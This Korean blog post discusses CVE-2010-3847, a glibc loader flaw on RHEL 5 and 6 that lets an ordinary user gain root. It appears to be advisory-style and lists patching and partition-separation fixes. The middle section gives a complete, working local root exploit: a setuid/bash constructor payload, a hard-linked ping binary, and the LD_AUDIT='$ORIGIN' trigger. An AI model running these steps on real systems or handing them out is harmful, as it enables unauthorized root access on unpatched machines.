본문 바로가기

전공 공부/시스템

취약점

RHEL & RHEL 6 일반계정으로 root 권한 획득

오늘 새벽에 날라온 메일의 취약성입니다.
문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 다이나믹 링크(ld.so)를 통해 실행하면서
발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을 이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.

실제 패키지는 glibc상의 소스코드상의 취약성입니다.

아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.

 

성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는 권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에 올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여 속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다.

>>> 이 취약성에 해당되는 버젼 : RedHat Enterprise Server 5 와 6 모든 버젼

 

http://seclists.org/fulldisclosure/2010/Oct/257

CVE-2010-3847

 

 

>>>취약성 점검 방법(root 권한 획득)

 

우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행

 

$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)


 

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root

 

이제 ROOT권한을 획득하였음. 

 

>>> 이에 대한 해결안 대략 2가지

1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것

2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것

 


 

>>> 주의사항

-  이 패치를 위해서는 RHN을 사용할 수 있어야 합니다.

 

 

>>> 관련 글

How can I apply security patches for a Red Hat Enterprise Linux system not connected on RHN or the internet?
https://access.redhat.com/kb/docs/DOC-17189

>>> On a Red Hat Enterprise Linux 5 machine, is it possible to limit yum so that it lists or installs only security updates?
https://access.redhat.com/kb/docs/DOC-10022

How do I know if a CVE name affects a Red Hat Enterprise Linux package?
https://access.redhat.com/kb/docs/DOC-11331